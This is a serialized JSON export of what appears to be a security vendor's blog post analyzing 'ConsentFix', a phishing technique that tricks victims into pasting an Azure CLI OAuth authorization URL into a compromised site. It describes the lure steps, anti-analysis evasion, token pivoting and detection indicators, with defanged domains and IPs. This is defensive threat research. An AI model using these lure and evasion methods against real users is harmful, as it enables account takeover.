phishing kit example.",{"url":57586,"width":57525,"height":21216},"https://images.ctfassets.net/y1cdw1ablpvd/2zbjCCqXRMTvaOr6Xpx2BJ/ccb3000b043b3bbc11a6d2315e66f6f1/Copy_of_Device_code_login_completion.gif",{"sys":57588,"__typename":1740,"content":57589,"name":57649,"title":59},{"id":55100},{"json":57590},{"nodeType":856,"data":57591,"content":57592},{},[57593,57600],{"nodeType":860,"data":57594,"content":57595},{},[57596],{"nodeType":864,"value":57597,"marks":57598,"data":57599},"The different application IDs that attackers can target here vary a little per technique based on the auth flows supported. FOCI apps present the broadest utility (particularly for non-admin targets) and can be targeted via both device code phishing and ConsentFix. In practice, this means an attacker who phishes a token for one app can silently pivot to access Outlook, Teams, OneDrive, SharePoint, and so on via API.",[],{},{"nodeType":860,"data":57601,"content":57602},{},[57603,57607,57615,57619,57624,57628,57633,57637,57645],{"nodeType":864,"value":57604,"marks":57605,"data":57606},"If they want to take it even further, they can use the well-known ",[],{},{"nodeType":883,"data":57608,"content":57609},{"uri":28739},[57610],{"nodeType":864,"value":57611,"marks":57612,"data":57614},"Primary Refresh Token (PRT) escalation technique",[57613],{"type":1455},{},{"nodeType":864,"value":57616,"marks":57617,"data":57618}," to get seamless SSO across ",[],{},{"nodeType":864,"value":57620,"marks":57621,"data":57623},"all",[57622],{"type":2246},{},{"nodeType":864,"value":57625,"marks":57626,"data":57627}," Entra ID-connected applications and web services (basically upgrading to normal browser-level access). This requires that you specifically target the ",[],{},{"nodeType":864,"value":57629,"marks":57630,"data":57632},"Microsoft Authentication Broker",[57631],{"type":899},{},{"nodeType":864,"value":57634,"marks":57635,"data":57636}," application, chaining it into a new device registration in the victim's environment. (This is the method that ",[],{},{"nodeType":883,"data":57638,"content":57639},{"uri":28836},[57640],{"nodeType":864,"value":57641,"marks":57642,"data":57644},"Storm-2372",[57643],{"type":1455},{},{"nodeType":864,"value":57646,"marks":57647,"data":57648}," used in a major 2025 device code phishing campaign.)",[],{},"ConsentFix v3 IB3",{"sys":57651,"__typename":1740,"content":57652,"name":57675,"title":59},{"id":55195},{"json":57653},{"data":57654,"content":57655,"nodeType":856},{},[57656],{"data":57657,"content":57658,"nodeType":860},{},[57659,57662,57671],{"data":57660,"marks":57661,"value":21,"nodeType":864},{},[],{"data":57663,"content":57665,"nodeType":883},{"uri":57664},"https://entrascopes.com/?foci=true",[57666],{"data":57667,"marks":57668,"value":57670,"nodeType":864},{},[57669],{"type":1455},"This is a great resource",{"data":57672,"marks":57673,"value":57674,"nodeType":864},{},[]," from Fabian Bader and Dirk-jan Mollema enabling you to search through first-party Microsoft apps, resource IDs, FOCI apps, apps with conditional access exclusions, and those vulnerable to ConsentFix attacks. You’d need to go through the process of creating Service Principals for them and assign specific users based on required access. You’d want to do this for all of the apps that come with pre-consented permissions, conditional access exclusions, FOCI, and so on. But of course if an assigned user gets phished, the attack can still succeed. ","ConsentFix v3 IB4",{"sys":57677,"__typename":1724,"title":57678,"caption":57678,"layoutMode":59,"file":57679},{"id":55240},"When users attempt to visit malicious sites that trigger our detections, they are redirected to a safe URL and shown a customizable block screen.",{"url":57680,"width":57681,"height":57682},"https://images.ctfassets.net/y1cdw1ablpvd/2losZN7HBexdcDRlMGYMA6/0c24a2abdcc154c9faa33750db1eaed0/image4.png",1440,767,{"sys":57684,"__typename":1724,"title":57685,"caption":57685,"layoutMode":59,"file":57686},{"id":55263},"Device code phishing customizable warning banner.",{"url":57687,"width":57688,"height":57689},"https://images.ctfassets.net/y1cdw1ablpvd/21kgdVDgvY6yI4cUzZ5eth/51fbb6782e10e4a23b37b020d8b288de/image10.png",1367,859,{"items":57691},[],{},"Investigating a new criminal toolkit for ConsentFix",{"items":57695},[57696,58553,61270],{"__typename":2059,"sys":57697,"content":57698,"title":50834,"synopsis":58541,"hashTags":59,"publishedDate":58542,"slug":50835,"tagsCollection":58543,"authorsCollection":58549},{"id":18541},{"json":57699},{"data":57700,"content":57701,"nodeType":856},{},[57702,57710,57717,57724,57731,57743,57750,57756,57762,57765,57773,57780,57787,57793,57813,57820,57826,57833,57839,57846,57889,57895,57901,57908,57915,57918,57926,57946,57953,57959,57977,57983,58002,58009,58012,58020,58027,58071,58083,58086,58094,58111,58118,58134,58141,58148,58154,58161,58164,58172,58179,58232,58239,58242,58250,58256,58263,58270,58276,58283,58316,58323,58330,58336,58343,58349,58356,58373,58380,58413,58420,58453,58456,58464,58471,58477,58496,58503,58529,58535],{"data":57703,"content":57704,"nodeType":1009},{},[57705],{"data":57706,"marks":57707,"value":57709,"nodeType":864},{},[57708],{"type":899},"Introducing “ConsentFix” — a new kind of phishing attack",{"data":57711,"content":57712,"nodeType":860},{},[57713],{"data":57714,"marks":57715,"value":57716,"nodeType":864},{},[],"The Push browser agent recently detected and blocked a new attack technique seen targeting several Push customers. ",{"data":57718,"content":57719,"nodeType":860},{},[57720],{"data":57721,"marks":57722,"value":57723,"nodeType":864},{},[],"This is a new kind of browser-based attack technique that takes over user accounts with a simple copy and paste. If you’re already logged into the app in your browser, you don’t even need to supply creds, or pass an MFA check — meaning it effectively circumvents phishing-resistant auth like passkeys too.",{"data":57725,"content":57726,"nodeType":860},{},[57727],{"data":57728,"marks":57729,"value":57730,"nodeType":864},{},[],"This is so different from the AiTM phish kits we usually come up against that we felt it deserved a new name. ",{"data":57732,"content":57733,"nodeType":860},{},[57734,57739],{"data":57735,"marks":57736,"value":57738,"nodeType":864},{},[57737],{"type":899},"Enter: ConsentFix. ",{"data":57740,"marks":57741,"value":57742,"nodeType":864},{},[],"This attack shares a lot of similarities with ClickFix/FileFix, AiTM phishing, and OAuth Consent Phishing. You can think of this as a browser-native ClickFix attack that phishes an OAuth token on a target app by getting the victim to copy and paste a URL containing OAuth key material into a phishing page. ",{"data":57744,"content":57745,"nodeType":860},{},[57746],{"data":57747,"marks":57748,"value":57749,"nodeType":864},{},[],"The campaign we detected looks to be specifically targeting Microsoft accounts by abusing the Azure CLI OAuth app. Essentially, the attacker tricks the victim into logging into Azure CLI, by generating an OAuth authorization code — visible in a localhost URL — and then pasting that URL (including the code) into an attacker-controlled page. This then creates an OAuth connection between the victim’s Microsoft account and the attacker’s Azure CLI instance. ",{"data":57751,"content":57755,"nodeType":996},{"target":57752},{"sys":57753},{"id":57754,"type":1001,"linkType":1002},"5GTnqWIbmraz8HZeHMybrP",[],{"data":57757,"content":57761,"nodeType":996},{"target":57758},{"sys":57759},{"id":57760,"type":1001,"linkType":1002},"1lcjX5q3b1bsuhyOXKvJpW",[],{"data":57763,"content":57764,"nodeType":1005},{},[],{"data":57766,"content":57767,"nodeType":1009},{},[57768],{"data":57769,"marks":57770,"value":57772,"nodeType":864},{},[57771],{"type":899},"How ConsentFix works",{"data":57774,"content":57775,"nodeType":860},{},[57776],{"data":57777,"marks":57778,"value":57779,"nodeType":864},{},[],"In all of the examples we saw, the victim accessed a malicious or compromised webpage via Google Search. The vast majority of the sites we’ve seen associated with the campaign are legitimate, compromised websites with high domain reputation that are easily findable via search engines.",{"data":57781,"content":57782,"nodeType":860},{},[57783],{"data":57784,"marks":57785,"value":57786,"nodeType":864},{},[],"The attacker had injected a fake Cloudflare Turnstile into the compromised websites, requiring an email address to be supplied in order to proceed. ",{"data":57788,"content":57792,"nodeType":996},{"target":57789},{"sys":57790},{"id":57791,"type":1001,"linkType":1002},"39jEjeLqOYIkGc4o9w3MuX",[],{"data":57794,"content":57795,"nodeType":860},{},[57796,57800,57809],{"data":57797,"marks":57798,"value":57799,"nodeType":864},{},[],"This acted as a form of ",{"data":57801,"content":57803,"nodeType":883},{"uri":57802},"https://phishing-techniques.pushsecurity.com/techniques/conditional-loading/",[57804],{"data":57805,"marks":57806,"value":57808,"nodeType":864},{},[57807],{"type":1455},"conditional loading",{"data":57810,"marks":57811,"value":57812,"nodeType":864},{},[]," that would only continue if a valid email address and domain was supplied, designed to prevent the page from being analyzed by security bots, analysts, and low-value accounts that run the risk of exposing the campaign before the intended recipient(s) can be phished. ",{"data":57814,"content":57815,"nodeType":860},{},[57816],{"data":57817,"marks":57818,"value":57819,"nodeType":864},{},[],"If a domain not on the target list was provided, the victim was passed back to the original website and the attack did not progress to the next stage. Further, once the check has concluded per IP, the phishing page will no longer activate, even a different email is provided.  ",{"data":57821,"content":57825,"nodeType":996},{"target":57822},{"sys":57823},{"id":57824,"type":1001,"linkType":1002},"7ttmGnTzi9j87tBXfyFcOA",[],{"data":57827,"content":57828,"nodeType":860},{},[57829],{"data":57830,"marks":57831,"value":57832,"nodeType":864},{},[],"After entering an approved email address, the next stage was loaded, prompting the victim to complete a set of instructions on the page to continue.",{"data":57834,"content":57838,"nodeType":996},{"target":57835},{"sys":57836},{"id":57837,"type":1001,"linkType":1002},"2oHYNoMgAz6MdgLlcWjbaB",[],{"data":57840,"content":57841,"nodeType":860},{},[57842],{"data":57843,"marks":57844,"value":57845,"nodeType":864},{},[],"To complete the attack, the victim must:",{"data":57847,"content":57848,"nodeType":941},{},[57849,57859,57869,57879],{"data":57850,"content":57851,"nodeType":945},{},[57852],{"data":57853,"content":57854,"nodeType":860},{},[57855],{"data":57856,"marks":57857,"value":57858,"nodeType":864},{},[],"Click the “Sign In” button. This opens a new tab that loads a legitimate Microsoft URL associated with the user account/email used to access the page.",{"data":57860,"content":57861,"nodeType":945},{},[57862],{"data":57863,"content":57864,"nodeType":860},{},[57865],{"data":57866,"marks":57867,"value":57868,"nodeType":864},{},[],"If the user is already logged into Microsoft in their browser, they simply need to select their MS account from the dropdown. Otherwise, they will be required to login via the legitimate Microsoft login URL (no phishing takes place at this stage). ",{"data":57870,"content":57871,"nodeType":945},{},[57872],{"data":57873,"content":57874,"nodeType":860},{},[57875],{"data":57876,"marks":57877,"value":57878,"nodeType":864},{},[],"Once logged into legit Microsoft or the account is selected from the dropdown, the user is redirected to localhost, which generates a URL containing a code associated with the user’s Microsoft account. ",{"data":57880,"content":57881,"nodeType":945},{},[57882],{"data":57883,"content":57884,"nodeType":860},{},[57885],{"data":57886,"marks":57887,"value":57888,"nodeType":864},{},[],"To complete the phish, the victim copies the URL and pastes it onto the original page. ",{"data":57890,"content":57894,"nodeType":996},{"target":57891},{"sys":57892},{"id":57893,"type":1001,"linkType":1002},"7zendMbmCViGwtEpUQvq6y",[],{"data":57896,"content":57900,"nodeType":996},{"target":57897},{"sys":57898},{"id":57899,"type":1001,"linkType":1002},"1eZOs7hXi9FzCE92QEP6xh",[],{"data":57902,"content":57903,"nodeType":860},{},[57904],{"data":57905,"marks":57906,"value":57907,"nodeType":864},{},[],"Once the steps are completed, the victim has granted the attacker access to their Microsoft account via Azure CLI. ",{"data":57909,"content":57910,"nodeType":860},{},[57911],{"data":57912,"marks":57913,"value":57914,"nodeType":864},{},[],"At this point, the attacker has effective control of the victim’s Microsoft account, but without ever needing to phish a password, or pass an MFA check. In fact, if the user was already logged in to their Microsoft account (i.e. they had an active session) no login is required at all. ",{"data":57916,"content":57917,"nodeType":1005},{},[],{"data":57919,"content":57920,"nodeType":1009},{},[57921],{"data":57922,"marks":57923,"value":57925,"nodeType":864},{},[57924],{"type":899},"The next evolution of ClickFix?",{"data":57927,"content":57928,"nodeType":860},{},[57929,57933,57942],{"data":57930,"marks":57931,"value":57932,"nodeType":864},{},[],"When we presented ",{"data":57934,"content":57936,"nodeType":883},{"uri":57935},"https://pushsecurity.com/webinar/clickfix",[57937],{"data":57938,"marks":57939,"value":57941,"nodeType":864},{},[57940],{"type":1455},"our last webinar on ClickFix",{"data":57943,"marks":57944,"value":57945,"nodeType":864},{},[],", we predicted that the next evolution of the attack would happen entirely within the browser context. This is because any attack that touches the endpoint (a traditionally much better protected surface) is way more likely to be detected. And with many ClickFix attacks being used to deliver infostealer malware, these attacks are really trying to get back into the browser anyway — to steal credentials and sessions stored there. ",{"data":57947,"content":57948,"nodeType":860},{},[57949],{"data":57950,"marks":57951,"value":57952,"nodeType":864},{},[],"Let’s take a closer look at the page — if you follow Push research, you might be getting déjà vu. ",{"data":57954,"content":57958,"nodeType":996},{"target":57955},{"sys":57956},{"id":57957,"type":1001,"linkType":1002},"1vMZCJ92IxFdR1EzzCOOvb",[],{"data":57960,"content":57961,"nodeType":860},{},[57962,57966,57974],{"data":57963,"marks":57964,"value":57965,"nodeType":864},{},[],"We’ve seen this kind of embedded video player before (albeit a slicker looking one) that we blogged about as ",{"data":57967,"content":57968,"nodeType":883},{"uri":36457},[57969],{"data":57970,"marks":57971,"value":57973,"nodeType":864},{},[57972],{"type":1455},"the most advanced ClickFix we’d seen",{"data":57975,"marks":57976,"value":2924,"nodeType":864},{},[],{"data":57978,"content":57982,"nodeType":996},{"target":57979},{"sys":57980},{"id":57981,"type":1001,"linkType":1002},"ID7VKJNOZk729P5zBOBjZ",[],{"data":57984,"content":57985,"nodeType":860},{},[57986,57990,57998],{"data":57987,"marks":57988,"value":57989,"nodeType":864},{},[],"Another similarity with ClickFix campaigns we’ve investigated is the use of Google Search as a delivery vector. 4 in 5 ClickFix attacks intercepted by Push came via Google Search, with attackers using ",{"data":57991,"content":57993,"nodeType":883},{"uri":57992},"https://phishing-techniques.pushsecurity.com/techniques/malvertising/",[57994],{"data":57995,"marks":57996,"value":441,"nodeType":864},{},[57997],{"type":1455},{"data":57999,"marks":58000,"value":58001,"nodeType":864},{},[]," and either compromised or custom vibe-coded websites to intercept users as they browse the internet. ",{"data":58003,"content":58004,"nodeType":860},{},[58005],{"data":58006,"marks":58007,"value":58008,"nodeType":864},{},[],"So it seems highly likely that this is a kind of browser-native evolution of ClickFix that shares many elements with typical ClickFix attacks, and is probably used by the same groups of attackers.",{"data":58010,"content":58011,"nodeType":1005},{},[],{"data":58013,"content":58014,"nodeType":1009},{},[58015],{"data":58016,"marks":58017,"value":58019,"nodeType":864},{},[58018],{"type":899},"OAuth shenanigans via Azure CLI",{"data":58021,"content":58022,"nodeType":860},{},[58023],{"data":58024,"marks":58025,"value":58026,"nodeType":864},{},[],"The clever use of Azure CLI and OAuth consent abuse is another clever iteration on previous techniques. ",{"data":58028,"content":58029,"nodeType":860},{},[58030,58034,58043,58046,58054,58058,58067],{"data":58031,"marks":58032,"value":58033,"nodeType":864},{},[],"We’ve previously seen ",{"data":58035,"content":58037,"nodeType":883},{"uri":58036},"https://phishing-techniques.pushsecurity.com/techniques/consent-phishing/",[58038],{"data":58039,"marks":58040,"value":58042,"nodeType":864},{},[58041],{"type":1455},"consent phishing",{"data":58044,"marks":58045,"value":902,"nodeType":864},{},[],{"data":58047,"content":58049,"nodeType":883},{"uri":58048},"https://phishing-techniques.pushsecurity.com/techniques/device-code-phishing/",[58050],{"data":58051,"marks":58052,"value":28273,"nodeType":864},{},[58053],{"type":1455},{"data":58055,"marks":58056,"value":58057,"nodeType":864},{},[]," attacks where attackers have tricked victims into connecting malicious external apps into their tenant via OAuth, but this is becoming increasingly difficult in core enterprise cloud environments like Azure due to ",{"data":58059,"content":58061,"nodeType":883},{"uri":58060},"https://learn.microsoft.com/en-us/microsoft-365/admin/misc/user-consent?view=o365-worldwide",[58062],{"data":58063,"marks":58064,"value":58066,"nodeType":864},{},[58065],{"type":1455},"stricter default configs",{"data":58068,"marks":58069,"value":58070,"nodeType":864},{},[],". However, since Azure CLI is a first-party Microsoft app, it is implicitly trusted in Entra ID, and is excluded from these restrictions. ",{"data":58072,"content":58073,"nodeType":860},{},[58074,58078],{"data":58075,"marks":58076,"value":58077,"nodeType":864},{},[],"First-party apps like Azure CLI are trusted by default in all tenants, allowed to request permissions without admin approval, and cannot be deleted or blocked. They can also be granted special permissions, such as tenant-wide service permissions (without needing admin approval), use of legacy or undocumented graph scopes, internal scopes for Microsoft client operations, and permissions for Office/Entra admin functions. ",{"data":58079,"marks":58080,"value":58082,"nodeType":864},{},[58081],{"type":899},"This makes Azure CLI a prime target for attackers, and significantly more exploitable than when connecting a third-party app. ",{"data":58084,"content":58085,"nodeType":1005},{},[],{"data":58087,"content":58088,"nodeType":1009},{},[58089],{"data":58090,"marks":58091,"value":58093,"nodeType":864},{},[58092],{"type":899},"Advanced detection evasion techniques",{"data":58095,"content":58096,"nodeType":860},{},[58097,58101,58107],{"data":58098,"marks":58099,"value":58100,"nodeType":864},{},[],"This campaign features some of the most advanced ",{"data":58102,"content":58103,"nodeType":883},{"uri":7124},[58104],{"data":58105,"marks":58106,"value":29066,"nodeType":864},{},[],{"data":58108,"marks":58109,"value":58110,"nodeType":864},{},[]," we've seen in the wild. ",{"data":58112,"content":58113,"nodeType":860},{},[58114],{"data":58115,"marks":58116,"value":58117,"nodeType":864},{},[],"As well as the use of Google Search to deliver the lure, and bot protection to prevent security tools from analyzing the page, there were multiple layers of anti-analysis techniques to navigate.",{"data":58119,"content":58120,"nodeType":860},{},[58121,58125,58130],{"data":58122,"marks":58123,"value":58124,"nodeType":864},{},[],"We already mentioned the use of selective targeting based on email addresses and domain names. But all sites involved in the campaign also have synchronized IP blocking — meaning if you visit one site and are served one of the associated phishing pages, the phish will never be served again, ",{"data":58126,"marks":58127,"value":58129,"nodeType":864},{},[58128],{"type":899},"across any of the sites linked to the campaign",{"data":58131,"marks":58132,"value":58133,"nodeType":864},{},[],". When you visit any of the sites again, the phish won't trigger, and it can be browsed as normal. ",{"data":58135,"content":58136,"nodeType":860},{},[58137],{"data":58138,"marks":58139,"value":58140,"nodeType":864},{},[],"On the backend, there are multiple checks based on your IP and identifiers unique to your session. Unless all of the conditions are met, certain JavaScript packages won't be served — preventing full inspection of the page to detect malicious elements. ",{"data":58142,"content":58143,"nodeType":860},{},[58144],{"data":58145,"marks":58146,"value":58147,"nodeType":864},{},[],"If the conditions aren't met, the page may not load the Cloudflare Turnstile check at all, or will redirect you back to the site to continue browsing as normal.",{"data":58149,"content":58153,"nodeType":996},{"target":58150},{"sys":58151},{"id":58152,"type":1001,"linkType":1002},"5v0zDoscA6pYLBfkXrNtIH",[],{"data":58155,"content":58156,"nodeType":860},{},[58157],{"data":58158,"marks":58159,"value":58160,"nodeType":864},{},[],"All of these make it incredibly hard to detect and block these attacks ahead of time when relying on URL-based checks and traffic analysis.",{"data":58162,"content":58163,"nodeType":1005},{},[],{"data":58165,"content":58166,"nodeType":1009},{},[58167],{"data":58168,"marks":58169,"value":58171,"nodeType":864},{},[58170],{"type":899},"Key takeaways",{"data":58173,"content":58174,"nodeType":860},{},[58175],{"data":58176,"marks":58177,"value":58178,"nodeType":864},{},[],"ConsentFix is a dangerous evolution of ClickFix and consent phishing that is incredibly hard for traditional security tools to detect and block, as:",{"data":58180,"content":58181,"nodeType":941},{},[58182,58192,58202,58212,58222],{"data":58183,"content":58184,"nodeType":945},{},[58185],{"data":58186,"content":58187,"nodeType":860},{},[58188],{"data":58189,"marks":58190,"value":58191,"nodeType":864},{},[],"The attack happens entirely inside the browser context, removing one of the key detection opportunities for ClickFix (because it doesn’t touch the endpoint).",{"data":58193,"content":58194,"nodeType":945},{},[58195],{"data":58196,"content":58197,"nodeType":860},{},[58198],{"data":58199,"marks":58200,"value":58201,"nodeType":864},{},[],"Delivering the lure via a Google Search watering hole attack completely circumvents email-based anti-phishing controls.",{"data":58203,"content":58204,"nodeType":945},{},[58205],{"data":58206,"content":58207,"nodeType":860},{},[58208],{"data":58209,"marks":58210,"value":58211,"nodeType":864},{},[],"Targeting a first-party app like Azure CLI means that many of the mitigating controls available for third-party app integrations do not apply — making this attack way harder to prevent.",{"data":58213,"content":58214,"nodeType":945},{},[58215],{"data":58216,"content":58217,"nodeType":860},{},[58218],{"data":58219,"marks":58220,"value":58221,"nodeType":864},{},[],"Because there’s no login required, phishing-resistant authentication controls like passkeys have no impact on this attack. ",{"data":58223,"content":58224,"nodeType":945},{},[58225],{"data":58226,"content":58227,"nodeType":860},{},[58228],{"data":58229,"marks":58230,"value":58231,"nodeType":864},{},[],"The use of advanced detection evasion techniques makes this attack difficult to investigate, meaning these attacks are going undetected. ",{"data":58233,"content":58234,"nodeType":860},{},[58235],{"data":58236,"marks":58237,"value":58238,"nodeType":864},{},[],"We’re sure to see more examples of ConsentFix in future. We’ll be monitoring to see how attackers adapt in terms of integrating these capabilities with common as-a-Service offerings to make them more widespread, and whether the scope extends further beyond Microsoft / Azure CLI targets in the future to target other enterprise cloud ecosystems. ",{"data":58240,"content":58241,"nodeType":1005},{},[],{"data":58243,"content":58244,"nodeType":1009},{},[58245],{"data":58246,"marks":58247,"value":58249,"nodeType":864},{},[58248],{"type":899},"Recommendations",{"data":58251,"content":58255,"nodeType":996},{"target":58252},{"sys":58253},{"id":58254,"type":1001,"linkType":1002},"3aBCwdB2aNnLRxRN5RrshC",[],{"data":58257,"content":58258,"nodeType":860},{},[58259],{"data":58260,"marks":58261,"value":58262,"nodeType":864},{},[],"On the backend, exploitation of this attack will lead to login events being observed to the Microsoft Azure CLI app. It’s likely that any legitimate use of this will most likely be limited to system administrators and possibly developers. Therefore, logins outside of these groups will be inherently more suspicious.",{"data":58264,"content":58265,"nodeType":860},{},[58266],{"data":58267,"marks":58268,"value":58269,"nodeType":864},{},[],"Additionally, it’s possible that aspects of the logins themselves will be different between legitimate Azure CLI use and exploitation of this attack. For example, see the following logs from a lab environment. The login events with an application of  “Microsoft Azure CLI” and a resource of “Azure Resource Manager” was legitimate use of the Azure CLI using the powershell CLI framework. Conversely, the login event with the Resource of “Windows Azure Active Directory” was produced by logging in using the method used by the phishing kit.",{"data":58271,"content":58275,"nodeType":996},{"target":58272},{"sys":58273},{"id":58274,"type":1001,"linkType":1002},"6ie0nkk6XbgwidfwmiGwL4",[],{"data":58277,"content":58278,"nodeType":860},{},[58279],{"data":58280,"marks":58281,"value":58282,"nodeType":864},{},[],"There is no guarantee this can be used to differentiate between legitimate and malicious examples, but it’s another data point to consider. If searching logs you may wish to use the respective GUIDs for these:",{"data":58284,"content":58285,"nodeType":941},{},[58286,58301],{"data":58287,"content":58288,"nodeType":945},{},[58289],{"data":58290,"content":58291,"nodeType":860},{},[58292,58297],{"data":58293,"marks":58294,"value":58296,"nodeType":864},{},[58295],{"type":899},"Application ID",{"data":58298,"marks":58299,"value":58300,"nodeType":864},{},[]," = 04b07795-8ddb-461a-bbee-02f9e1bf7b46",{"data":58302,"content":58303,"nodeType":945},{},[58304],{"data":58305,"content":58306,"nodeType":860},{},[58307,58312],{"data":58308,"marks":58309,"value":58311,"nodeType":864},{},[58310],{"type":899},"Resource ID",{"data":58313,"marks":58314,"value":58315,"nodeType":864},{},[]," = 00000002-0000-0000-c000-000000000000",{"data":58317,"content":58318,"nodeType":860},{},[58319],{"data":58320,"marks":58321,"value":58322,"nodeType":864},{},[],"For interactive logins, like above, you cannot rely on looking for logins from suspicious IP addresses or locations. The login itself occurs from the victims browser directly to Microsoft, and so the IP addresses associated with these events will be the legitimate IP used by the target user, not by the threat actor. ",{"data":58324,"content":58325,"nodeType":860},{},[58326],{"data":58327,"marks":58328,"value":58329,"nodeType":864},{},[],"However, for non-interactive logins and other audit logs for actions taken, you may be able to uncover unusual IP addresses that differ from the original interactive login. For example, here are some non-interactive logins that were observed immediately after compromise that came from different IP addresses in both the US and Indonesia.",{"data":58331,"content":58335,"nodeType":996},{"target":58332},{"sys":58333},{"id":58334,"type":1001,"linkType":1002},"TD3YeWqgGIWIWM8FRHU4o",[],{"data":58337,"content":58338,"nodeType":860},{},[58339],{"data":58340,"marks":58341,"value":58342,"nodeType":864},{},[],"Interestingly, they differ in which resources they accessed, with one accessing the Windows Azure Active Directory resource ID like the interactive login, but two others accessing the Microsoft Intune Checkin resource ID. ",{"data":58344,"content":58348,"nodeType":996},{"target":58345},{"sys":58346},{"id":58347,"type":1001,"linkType":1002},"57PqDQiAiwzqkspVpROQXb",[],{"data":58350,"content":58351,"nodeType":1312},{},[58352],{"data":58353,"marks":58354,"value":5571,"nodeType":864},{},[58355],{"type":899},{"data":58357,"content":58358,"nodeType":860},{},[58359,58362,58369],{"data":58360,"marks":58361,"value":27949,"nodeType":864},{},[],{"data":58363,"content":58364,"nodeType":883},{"uri":7248},[58365],{"data":58366,"marks":58367,"value":7253,"nodeType":864},{},[58368],{"type":1455},{"data":58370,"marks":58371,"value":58372,"nodeType":864},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":58374,"content":58375,"nodeType":860},{},[58376],{"data":58377,"marks":58378,"value":58379,"nodeType":864},{},[],"That said, the domains used to deliver the final phishing payload were:",{"data":58381,"content":58382,"nodeType":941},{},[58383,58393,58403],{"data":58384,"content":58385,"nodeType":945},{},[58386],{"data":58387,"content":58388,"nodeType":860},{},[58389],{"data":58390,"marks":58391,"value":58392,"nodeType":864},{},[],"hxxps://trustpointassurance.com/",{"data":58394,"content":58395,"nodeType":945},{},[58396],{"data":58397,"content":58398,"nodeType":860},{},[58399],{"data":58400,"marks":58401,"value":58402,"nodeType":864},{},[],"hxxps://fastwaycheck.com/",{"data":58404,"content":58405,"nodeType":945},{},[58406],{"data":58407,"content":58408,"nodeType":860},{},[58409],{"data":58410,"marks":58411,"value":58412,"nodeType":864},{},[],"hxxps://previewcentral.com",{"data":58414,"content":58415,"nodeType":860},{},[58416],{"data":58417,"marks":58418,"value":58419,"nodeType":864},{},[],"In addition, we recommend hunting for connections from the following IPs in Azure logs:",{"data":58421,"content":58422,"nodeType":941},{},[58423,58433,58443],{"data":58424,"content":58425,"nodeType":945},{},[58426],{"data":58427,"content":58428,"nodeType":860},{},[58429],{"data":58430,"marks":58431,"value":58432,"nodeType":864},{},[],"12.75.216.90",{"data":58434,"content":58435,"nodeType":945},{},[58436],{"data":58437,"content":58438,"nodeType":860},{},[58439],{"data":58440,"marks":58441,"value":58442,"nodeType":864},{},[],"182.3.36.223",{"data":58444,"content":58445,"nodeType":945},{},[58446],{"data":58447,"content":58448,"nodeType":860},{},[58449],{"data":58450,"marks":58451,"value":58452,"nodeType":864},{},[],"12.75.116.137",{"data":58454,"content":58455,"nodeType":1005},{},[],{"data":58457,"content":58458,"nodeType":1009},{},[58459],{"data":58460,"marks":58461,"value":58463,"nodeType":864},{},[58462],{"type":899},"How Push stopped the attack",{"data":58465,"content":58466,"nodeType":860},{},[58467],{"data":58468,"marks":58469,"value":58470,"nodeType":864},{},[],"Even though this was a brand new technique, Push intercepted this attack and shut it down before customers could interact with it. ",{"data":58472,"content":58476,"nodeType":996},{"target":58473},{"sys":58474},{"id":58475,"type":1001,"linkType":1002},"5YzpiQH974EYA5iPPZMXkV",[],{"data":58478,"content":58479,"nodeType":860},{},[58480,58484,58492],{"data":58481,"marks":58482,"value":58483,"nodeType":864},{},[],"Push doesn’t detect the redirect tricks or rely on outdated domain TI feeds. The reason we detect these attacks (which make it through all the other layers of phishing protection) is that Push sees what your users see. It doesn’t matter what ",{"data":58485,"content":58486,"nodeType":883},{"uri":7124},[58487],{"data":58488,"marks":58489,"value":58491,"nodeType":864},{},[58490],{"type":1455},"delivery channel or camouflage methods are used",{"data":58493,"marks":58494,"value":58495,"nodeType":864},{},[],", Push shuts the attack down in real time, as the user loads the malicious page in their web browser.",{"data":58497,"content":58498,"nodeType":860},{},[58499],{"data":58500,"marks":58501,"value":58502,"nodeType":864},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":58504,"content":58505,"nodeType":860},{},[58506,58509,58516,58519,58526],{"data":58507,"marks":58508,"value":31569,"nodeType":864},{},[],{"data":58510,"content":58511,"nodeType":883},{"uri":25603},[58512],{"data":58513,"marks":58514,"value":25609,"nodeType":864},{},[58515],{"type":1455},{"data":58517,"marks":58518,"value":56270,"nodeType":864},{},[],{"data":58520,"content":58521,"nodeType":883},{"uri":1700},[58522],{"data":58523,"marks":58524,"value":25633,"nodeType":864},{},[58525],{"type":1455},{"data":58527,"marks":58528,"value":2924,"nodeType":864},{},[],{"data":58530,"content":58534,"nodeType":996},{"target":58531},{"sys":58532},{"id":58533,"type":1001,"linkType":1002},"6QzB0BlVC5mstXwXHvy2c3",[],{"data":58536,"content":58537,"nodeType":860},{},[58538],{"data":58539,"marks":58540,"value":21,"nodeType":864},{},[],"Analyzing \"ConsentFix\", a new browser-native attack technique we've detected in the wild, combining OAuth consent phishing with a ClickFix-style user prompt. ","2025-12-11T00:00:00.000Z",{"items":58544},[58545,58547],{"sys":58546,"name":6593},{"id":6592},{"sys":58548,"name":342},{"id":6596},{"items":58550},[58551],{"fullName":4949,"firstName":4950,"jobTitle":4951,"profilePicture":58552},{"url":4955},{"__typename":2059,"sys":58554,"content":58555,"title":31601,"synopsis":31602,"hashTags":59,"publishedDate":31603,"slug":361,"tagsCollection":61260,"authorsCollection":61266},{"id":18517},{"json":58556},{"data":58557,"content":58558,"nodeType":856},{},[58559,58564,58580,58596,58602,58607,58613,58619,58622,58629,58634,58700,58716,58721,58727,58823,58828,58831,58838,58844,58849,58852,58859,58895,58900,58906,58912,58918,58924,58940,58945,58950,58955,58960,58965,58970,58975,58981,59211,59214,59221,59348,59353,59356,59363,59394,59521,59526,59529,59536,59675,59680,59683,59690,59695,59829,59834,59839,59842,59849,59988,59993,59996,60003,60143,60148,60151,60158,60249,60254,60257,60264,60355,60360,60363,60370,60375,60502,60507,60510,60517,60564,60569,60572,60579,60712,60717,60720,60727,60854,60859,60862,60869,60879,60885,60890,60895,60901,60918,60931,60936,60939,60946,60953,60970,60987,60992,60998,61004,61011,61017,61023,61029,61036,61042,61087,61092,61095,61102,61108,61114,61151,61156,61162,61165,61172,61178,61184,61200,61205,61211,61218,61224],{"data":58560,"content":58563,"node